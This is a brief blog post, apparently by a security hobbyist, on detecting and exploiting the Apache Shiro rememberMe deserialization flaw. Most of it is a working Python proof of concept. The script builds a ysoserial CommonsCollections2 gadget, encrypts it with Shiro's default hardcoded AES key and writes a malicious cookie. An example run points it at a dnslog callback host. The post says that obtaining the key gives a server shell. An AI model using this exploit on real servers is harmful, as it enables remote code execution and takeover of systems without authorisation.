Mysticbinary

Shiro反序列化漏洞检测、dnslog

Characteristic

If RememberMe=deleteMe at Cookie， So It is Shiro.

Shiro Key

You get the key and to mix a vulnerability will get the servers shell or controller.

POC

# pip install pycrypto
import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES

def encode_rememberme(command):
    popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-BETA-all.jar', 'CommonsCollections2', command], stdout=subprocess.PIPE)
    BS   = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key  =  "kPH+bIxk5D2deZiIxcaaaA=="
    mode =  AES.MODE_CBC
    iv   =  uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext

if __name__ == '__main__':
    payload = encode_rememberme(sys.argv[1])    
    with open("/tmp/payload.cookie", "w") as fpw:
        print("rememberMe={}".format(payload.decode()), file=fpw)

python shiro_poc.py "sfvpil.dnslog.cn"

/tmp/payload.cookie

替换发包的rememberMe=X

Reference

posted on 2020-05-05 16:10  Mysticbinary  阅读(1322)  评论(0)  编辑  收藏  举报

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